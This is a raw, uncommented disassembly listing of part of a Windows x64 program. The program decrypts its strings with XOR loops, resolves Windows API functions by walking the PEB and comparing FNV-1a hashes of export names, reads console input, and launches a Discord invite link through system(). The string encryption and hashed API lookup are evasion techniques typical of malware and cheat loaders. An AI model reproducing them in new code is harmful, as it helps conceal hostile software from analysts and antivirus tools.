movzx r9d, word [rax + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + r9*4]
add rax, r10
mov r8d, esi
mov edx, 0xfffffff0
mov rcx, r12
call rax
mov rcx, qword [0x140069150]
call fcn.1400184d0
mov rcx, qword [0x140069150]
call fcn.140018780
movups xmm0, xmmword [0x140056280]
movups xmmword [rbp + 0x5e0], xmm0
movups xmm1, xmmword [0x140056290]
movups xmmword [rbp + 0x5f0], xmm1
movzx eax, byte [0x1400562a0]
mov byte [rbp + 0x600], al
mov r8d, r14d
cmp r13d, 2
jl 0x14003c273
movdqa xmmword [rbp + 0x70], xmm10
lea rcx, [rbp + 0x5e4]
mov edx, dword [rbp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14003c180
cmp r8d, 0x21
jge 0x14003c2b5
movsxd rax, r8d
lea r9, [rbp + 0x5e0]
add r9, rax
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x38
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x14003c280
lea rdx, [rbp + 0x5e0]
lea rcx, [rbp + 0x3b8]
call fcn.14002ba00
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x3d8]
call fcn.140049e20
nop
lea rcx, [rbp + 0x3d8]
call fcn.14002d9c0
movzx ebx, al
lea rcx, [rbp + 0x3d8]
call fcn.14002d110
nop
lea rcx, [rbp + 0x3b8]
call fcn.14002b9a0
movdqa xmm14, xmmword [0x140060380]
movdqa xmm15, xmmword [0x140060390]
test bl, bl
je 0x14003c72e
movups xmm2, xmmword [str.hK_MURKL_]
movups xmmword [rbp + 0x1b8], xmm2
movsd xmm0, qword [0x140056098]
movsd qword [rbp + 0x1c8], xmm0
movzx eax, byte [0x1400560a0]
mov byte [rbp + 0x1d0], al
mov r8d, r14d
movdqa xmm13, xmmword [0x140060370]
movdqa xmm12, xmmword [0x140060360]
cmp r13d, 2
jl 0x14003c607
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm10
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x1b8], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1bc]
xorps xmm2, xmm1
movd dword [rbp + 0x1bc], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1c0]
xorps xmm2, xmm1
movd dword [rbp + 0x1c0], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1c4]
xorps xmm2, xmm1
movd dword [rbp + 0x1c4], xmm2
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm14
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm14
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1c8]
xorps xmm2, xmm1
movd dword [rbp + 0x1c8], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1cc]
xorps xmm2, xmm1
movd dword [rbp + 0x1cc], xmm2
mov r8d, 0x18
mov eax, r8d
lea r9, [rbp + 0x1b8]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x38
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x14003c620
lea rdx, [rbp + 0x1b8]
lea rcx, [rbp + 0x3f8]
call fcn.14002ba00
mov rcx, rax
call fcn.14002dad0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14003c706
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14003c706
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xdd3988ec
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14003c701
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14003c6e0
cmp r8d, 0x38a6574f
je 0x14003c70b
test r9d, r9d
jne 0x14003c6c0
mov rax, qword [rax]
jmp 0x14003c690
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x5dc
call rdx
jmp 0x14003d129
mov eax, dword [0x1400564bc]
mov dword [rsp + 0x7c], eax
movzx eax, word [0x1400564c0]
mov word [rbp - 0x80], ax
mov byte [rsp + 0x7c], 0x4b
xor byte [rsp + 0x7d], 0x39
xor byte [rsp + 0x7e], 0x3a
xor byte [rsp + 0x7f], 0x3b
xor al, 0x3c
mov byte [rbp - 0x80], al
xor byte [rbp - 0x7f], 0x3d
lea rdx, [rsp + 0x7c]
lea rcx, [rbp + 0x418]
call fcn.14002ba00
mov rcx, rax
call fcn.14002dad0
lea rdx, [0x140068558]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140049e70
movups xmm2, xmmword [0x140055f48]
movups xmmword [rbp + 0xb0], xmm2
movzx eax, byte [0x140055f58]
mov byte [rbp + 0xc0], al
mov r8d, r14d
movdqa xmm13, xmmword [0x140060370]
movdqa xmm12, xmmword [0x140060360]
cmp r13d, 2
jl 0x14003c987
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm10
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xb0], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb4]
xorps xmm2, xmm1
movd dword [rbp + 0xb4], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb8]
xorps xmm2, xmm1
movd dword [rbp + 0xb8], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xbc]
xorps xmm2, xmm1
movd dword [rbp + 0xbc], xmm2
mov r8d, 0x10
mov eax, r8d
lea r9, [rbp + 0xb0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x38
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x14003c9a0
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x438]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
test bl, bl
jne 0x14003cecc
movsd xmm0, qword [str.kLYXYNM]
movsd qword [rbp + 0x10], xmm0
movzx eax, byte [0x1400561c8]
mov byte [rbp + 0x10], 0x53
xor byte [rbp + 0x11], 0x39
xor byte [rbp + 0x12], 0x3a
xor byte [rbp + 0x13], 0x3b
xor byte [rbp + 0x14], 0x3c
xor byte [rbp + 0x15], 0x3d
xor byte [rbp + 0x16], 0x3e
xor byte [rbp + 0x17], 0x3f
xor al, 0x40
mov byte [rbp + 0x18], al
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x458]
call fcn.14002ba00
mov rcx, rax
call fcn.14002de60
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14003cae6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14003cae6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x8cfddedb
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14003cae1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14003cac0
cmp r8d, 0x139fa6fe
je 0x14003caeb
test r9d, r9d
jne 0x14003caa0
mov rax, qword [rax]
jmp 0x14003ca70
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0x5dc
call rax
mov eax, dword [0x140055ab0]
mov dword [rsp + 0x5c], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14003cba6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14003cba6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x1a6b6a97
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14003cba1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14003cb80
cmp r8d, 0x67dc0716
je 0x14003cbab
test r9d, r9d
jne 0x14003cb60
mov rax, qword [rax]
jmp 0x14003cb30
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
mov r8d, r14d
cmp r13d, 2
jl 0x14003cc30
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, dword [rsp + 0x5c]
xorps xmm1, xmm0
movd dword [rsp + 0x5c], xmm1
jmp 0x14003cc72
lea r9, [rsp + 0x5c]
nop word [rax + rax]
mov eax, 0x24924925
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14003cc40
lea rcx, [rsp + 0x5c]
call r11
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x11e0]
call sub.VCRUNTIME140.dll_memset
mov edx, 1
lea rcx, [rbp + 0x11e0]
call fcn.140048a90
nop
movups xmm0, xmmword [0x140056280]
movups xmmword [rbp + 0x5b8], xmm0
movups xmm1, xmmword [0x140056290]
movups xmmword [rbp + 0x5c8], xmm1
movzx eax, byte [0x1400562a0]
mov byte [rbp + 0x5d8], al
mov ecx, r14d
cmp r13d, 2
jl 0x14003cde0
movdqa xmmword [rbp + 0x70], xmm10
lea rdx, [rbp + 0x5bc]
mov r8d, dword [rbp + 0x70]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x20
jl 0x14003ccf0
cmp ecx, 0x21
jge 0x14003ce20
movsxd rax, ecx
lea r8, [rbp + 0x5b8]
add r8, rax
nop dword [rax]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x38
add dl, cl
xor byte [r8], dl
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x21
jl 0x14003cdf0
mov r9d, 0x40
mov r8d, 2
lea rdx, [rbp + 0x5b8]
lea rcx, [rbp + 0x11e0]
call fcn.1400489e0
mov rbx, qword [0x140068568]
lea rcx, [0x140068558]
call fcn.14002bf10
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x11e0]
call fcn.14004ac40
lea rcx, [rbp + 0x11e0]
call fcn.1400489a0
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
lea rdx, [rbp + 0x1118]
call qword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
mov dword [rbp + 0x111c], r14d
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
lea rdx, [rbp + 0x1118]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorInfo]
nop
lea rcx, [rbp + 0x1288]
call fcn.140048a30
lea rcx, [rbp + 0x1288]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
jmp 0x14003d129
movups xmm0, xmmword [str.oKUU_]
movups xmmword [rbp + 0x630], xmm0
movups xmm1, xmmword [0x140056d40]
movups xmmword [rbp + 0x640], xmm1
mov eax, dword [0x140056d50]
mov dword [rbp + 0x650], eax
movzx eax, byte [0x140056d54]
mov byte [rbp + 0x654], al
mov r8d, r14d
cmp r13d, 2
jl 0x14003d013
movdqa xmmword [rbp + 0x70], xmm10
lea rcx, [rbp + 0x634]
mov edx, dword [rbp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14003cf20
cmp r8d, 0x25
jge 0x14003d055
movsxd rax, r8d
lea r9, [rbp + 0x630]
add r9, rax
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x38
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x25
jl 0x14003d020
lea rdx, [rbp + 0x630]
lea rcx, [rbp + 0x478]
call fcn.14002ba00
mov rcx, rax
call fcn.14002e1f0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14003d106
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14003d106
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x6676c8f2
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14003d101
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14003d0e0
cmp r8d, 0x2c68a675
je 0x14003d10b
test r9d, r9d
jne 0x14003d0c0
mov rax, qword [rax]
jmp 0x14003d090
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0xffffffff
call rax
movzx ebx, byte [rsp + 0x40]
movzx edi, byte [rsp + 0x40]
movzx esi, byte [rsp + 0x40]
nop dword [rax + rax]
lea rcx, str.start_https:__discord.gg_dGCZ2amJ8k
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov r12, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov r15d, dword [rdx + r10 + 0x88]
add r15, r10
cmp r15, r10
je 0x14003d1e6
mov r9d, dword [r15 + 0x18]
test r9d, r9d
je 0x14003d1e6
mov r14d, dword [r15 + 0x20]
nop word [rax + rax]
dec r9d
lea rax, [r14 + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0x629bee9b
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14003d1e1
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14003d1c0
cmp r8d, 0xbc320487
je 0x14003d1eb
test r9d, r9d
jne 0x14003d1a0
mov rcx, qword [rcx]
jmp 0x14003d170
mov ecx, dword [r15 + 0x1c]
add rcx, r10
mov eax, dword [r15 + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov edx, 4
mov rcx, r12
call r8
mov eax, dword [0x140055ab0]
mov dword [rsp + 0x60], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r15d, dword [rcx + r10 + 0x88]
add r15, r10
cmp r15, r10
je 0x14003d2a6
mov r9d, dword [r15 + 0x18]
test r9d, r9d
je 0x14003d2a6
mov r14d, dword [r15 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r14 + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xf971d234
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14003d2a1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14003d280
cmp r8d, 0xefdf50cd
je 0x14003d2ab
test r9d, r9d
jne 0x14003d260
mov rax, qword [rax]
jmp 0x14003d230
mov ecx, dword [r15 + 0x1c]
add rcx, r10
mov eax, dword [r15 + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
xor r8d, r8d
cmp r13d, 2
jl 0x14003d332
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, dword [rsp + 0x60]
xorps xmm1, xmm0
movd dword [rsp + 0x60], xmm1
jmp 0x14003d372
lea r9, [rsp + 0x60]
nop word [rax + rax]
mov eax, 0x24924925
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14003d340
lea rcx, [rsp + 0x60]
call r11
movsd xmm0, qword [0x140056e40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x140056e48]
movsd qword [rbp + 0x20], xmm0
mov byte [rbp + 0x20], 0xa
xor byte [rbp + 0x21], 0x39
xor byte [rbp + 0x22], 0x3a
xor byte [rbp + 0x23], 0x3b
xor byte [rbp + 0x24], 0x3c
xor byte [rbp + 0x25], 0x3d
